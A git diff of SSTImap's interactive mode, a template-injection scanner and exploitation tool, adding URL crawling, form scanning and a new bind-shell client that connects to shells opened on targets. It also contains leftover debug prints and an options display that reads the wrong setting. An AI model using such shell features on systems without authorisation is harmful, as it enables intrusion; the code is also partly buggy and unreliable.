11import cmd
2+ from utils .crawler import crawl , find_page_forms
23from utils .loggers import log
34from urllib import parse
45from core import checks
56from core .channel import Channel
67from core .clis import Shell , MultilineShell
78from core .tcpserver import TcpServer
8- import telnetlib
9+ from core . tcpclient import TcpClient
910import socket
1011
1112
@@ -47,6 +48,8 @@ def do_help(self, line):
4748
4849Target:
4950 url, target [URL] Set target URL (e.g. 'https://example.com/?name=test')
51+ crawl [DEPTH] Crawl up to depth (0 - do not crawl)
52+ forms Search page(s) for forms
5053 run, test, check Run SSTI detection on the target
5154
5255Request:
@@ -66,6 +69,8 @@ def do_help(self, line):
6669 engine [ENGINE] Check only this backend template engine. For all, use '*'
6770 technique [TECHNIQUE] Use techniques R(endered) T(ime-based blind). Default: RT
6871 legacy Toggle including old payloads, that no longer work with newer versions of the engines
72+ exclude [PATTERN] Regex pattern to exclude from crawler
73+ domains [DOMAINS] Crawl other domains: Y(es) / S(ubdomains) / N(o). Default: S
6974
7075Exploitation:
7176 tpl, tpl_shell Prompt for an interactive shell on the template engine
@@ -78,14 +83,18 @@ def do_help(self, line):
7883 reverse, reverse_shell [HOST] [PORT] Run a system shell and back-connect to local HOST PORT
7984 overwrite, force_overwrite Toggle file overwrite when uploading
8085 up, upload [LOCAL] [REMOTE] Upload LOCAL to REMOTE files
81- down, download [REMOTE] [LOCAL] Download REMOTE to LOCAL files""" )
86+ down, download [REMOTE] [LOCAL] Download REMOTE to LOCAL files
87+
88+ SSTImap:
89+ reload, reload_plugins Reload all SSTImap plugins""" )
8290
8391 def do_version (self , line ):
8492 """Show current SSTImap version"""
8593 log .log (23 , f'Current SSTImap version: { self .sstimap_options ["version" ]} ' )
8694
8795 def do_options (self , line ):
8896 """Show current SSTImap options"""
97+ crawl_domains = {"Y" : "Yes" , "S" : "Subdomains only" , "N" : "No" }
8998 log .log (23 , f'Current SSTImap { self .sstimap_options ["version" ]} interactive mode options:' )
9099 if not self .sstimap_options ["url" ]:
91100 log .log (25 , f'URL is not set.' )
@@ -116,6 +125,14 @@ def do_options(self, line):
116125 log .log (26 , f'Level: { self .sstimap_options ["level" ]} ' )
117126 log .log (26 , f'Engine: { self .sstimap_options ["engine" ] if self .sstimap_options ["engine" ] else "*" } '
118127 f'{ "+" if not self .sstimap_options ["engine" ] and self .sstimap_options ["legacy" ] else "" } ' )
128+ if self .sstimap_options ["crawl_depth" ] > 0 :
129+ log .log (26 , f'Crawler depth: { self .sstimap_options ["crawl_depth" ]} ' )
130+ else :
131+ log .log (26 , 'Crawler depth: no crawl' )
132+ if self .sstimap_options ["crawl_exclude" ]:
133+ log .log (26 , f'Crawler exclude RE: "{ self .sstimap_options ["crawl_exclude" ]} "' )
134+ log .log (26 , f'Crawl other domains: { crawl_domains .get (self .sstimap_options ["crawl_exclude" ].upper ())} ' )
135+ log .log (26 , f'Form detection: { self .sstimap_options ["forms" ]} ' )
119136 log .log (26 , f'Attack technique: { self .sstimap_options ["technique" ]} ' )
120137 log .log (26 , f'Force overwrite files: { self .sstimap_options ["force_overwrite" ]} ' )
121138
@@ -146,14 +163,74 @@ def do_url(self, line):
146163
147164 do_target = do_url
148165
166+ def do_crawl (self , line ):
167+ self .sstimap_options ['crawl_depth' ] = int (line )
168+ if int (line ):
169+ log .log (24 , f'Crawling depth is set to { line } .' )
170+ else :
171+ log .log (24 , 'Crawling disabled.' )
172+
173+ def do_exclude (self , line ):
174+ self .sstimap_options ['crawl_exclude' ] = line
175+ if line :
176+ log .log (24 , f'Crawler exclude RE is set to "{ line } ".' )
177+ else :
178+ log .log (24 , 'Crawler exclude RE disabled.' )
179+
180+ do_crawl_exclude = do_exclude
181+ do_crawlexclude = do_exclude
182+
183+ def do_forms (self , line ):
184+ overwrite = not self .sstimap_options ['forms' ]
185+ log .log (24 , f'Form detection { "en" if overwrite else "dis" } abled.' )
186+ self .sstimap_options ['forms' ] = overwrite
187+
149188 def do_run (self , line ):
150189 """Check target URL for SSTI vulnerabilities"""
151190 if not self .sstimap_options ["url" ]:
152191 log .log (22 , 'Target URL cannot be empty.' )
153192 return
154193 try :
155- self .channel = Channel (self .sstimap_options )
156- self .current_plugin = checks .check_template_injection (self .channel )
194+ if self .sstimap_options ['crawl_depth' ] or self .sstimap_options ['forms' ]:
195+ # crawler mode
196+ urls = set ([self .sstimap_options ['url' ]])
197+ if self .sstimap_options ['crawl_depth' ]:
198+ print (1 )
199+ crawled_urls = set ()
200+ for url in urls :
201+ crawled_urls .update (crawl (url , self .sstimap_options ))
202+ urls .update (crawled_urls )
203+ if not self .sstimap_options ['forms' ]:
204+ for url in urls :
205+ print ()
206+ log .log (23 , f'Scanning url: { url } ' )
207+ self .sstimap_options ['url' ] = url
208+ self .channel = Channel (self .sstimap_options )
209+ self .current_plugin = checks .check_template_injection (self .channel )
210+ if self .channel .data .get ('engine' ):
211+ break # TODO: save vulnerabilities
212+ else :
213+ forms = set ()
214+ print (2 )
215+ for url in urls :
216+ forms .update (find_page_forms (url , self .sstimap_options ))
217+ print (3 )
218+ for form in forms :
219+ print ()
220+ log .log (23 , f'Scanning form with url: { form [0 ]} ' )
221+ self .sstimap_options ['url' ] = form [0 ]
222+ self .sstimap_options ['method' ] = form [1 ]
223+ self .sstimap_options ['data' ] = parse .parse_qs (form [2 ], keep_blank_values = True )
224+ self .channel = Channel (self .sstimap_options )
225+ self .current_plugin = checks .check_template_injection (self .channel )
226+ if self .channel .data .get ('engine' ):
227+ break # TODO: save vulnerabilities
228+ if not forms :
229+ log .log (22 , f'No forms were detected to scan' )
230+ else :
231+ # predetermined mode
232+ self .channel = Channel (self .sstimap_options )
233+ self .current_plugin = checks .check_template_injection (self .channel )
157234 except (KeyboardInterrupt , EOFError ):
158235 log .log (26 , 'Exiting SSTI detection' )
159236 self .checked = True
@@ -321,6 +398,17 @@ def do_technique(self, line):
321398 log .log (24 , f'Attack technique is set to { line } ' )
322399 self .sstimap_options ["technique" ] = line
323400
401+ def do_crawl_domains (self , line ):
402+ """Set crawling DOMAINS behaviour"""
403+ line = line .upper ()
404+ if line not in ["Y" , "S" , "N" ]:
405+ log .log (22 , 'Invalid DOMAINS value. It should be \' Y\' , \' S\' or \' N\' .' )
406+ return
407+ log .log (24 , f'Domain crawling is set to { line } ' )
408+ self .sstimap_options ["crawl_domains" ] = line
409+
410+ do_domains = do_crawl_domains
411+
324412 def do_legacy (self , line ):
325413 """Switch legacy option"""
326414 overwrite = not self .sstimap_options ["legacy" ]
@@ -494,16 +582,18 @@ def do_bind_shell(self, line):
494582 for idx , thread in enumerate (self .current_plugin .bind_shell (port )):
495583 log .log (26 , f'Spawn a shell on remote port { port } with payload { idx + 1 } ' )
496584 thread .join (timeout = 1 )
497- if not thread .is_alive ():
498- continue
499- try :
500- telnetlib .Telnet (url .hostname .decode (), port , timeout = 5 ).interact ()
501- return
502- except (KeyboardInterrupt , EOFError ):
503- print ()
504- log .log (26 , 'Exiting bind shell' )
505- except Exception as e :
506- log .debug (f"Error connecting to { url .hostname } :{ port } { e } " )
585+ if thread .is_alive ():
586+ log .log (24 , f'Shell with payload { idx + 1 } seems stable' )
587+ break
588+ try :
589+ a = TcpClient (url .hostname , port , timeout = 5 )
590+ a .shell ()
591+ return
592+ except (KeyboardInterrupt , EOFError ):
593+ print ()
594+ log .log (26 , 'Exiting bind shell' )
595+ except Exception as e :
596+ log .log (25 , f"Error connecting to { url .hostname } :{ port } { e } " )
507597 else :
508598 log .log (22 , 'No TCP shell opening capabilities have been detected on the target' )
509599
@@ -588,3 +678,16 @@ def do_download(self, line):
588678
589679 do_up = do_upload
590680 do_down = do_download
681+
682+ # SSTImap commands
683+
684+ def do_reload_modules (self , line ):
685+ """Reload all modules"""
686+ from core .plugin import unload_plugins
687+ from sstimap import load_plugins
688+ unload_plugins ()
689+ load_plugins ()
690+ from core .plugin import loaded_plugins
691+ log .log (23 , f"Reloaded plugins by categories: { '; ' .join ([f'{ x } : { len (loaded_plugins [x ])} ' for x in loaded_plugins ])} " )
692+
693+ do_reload = do_reload_modules
0 commit comments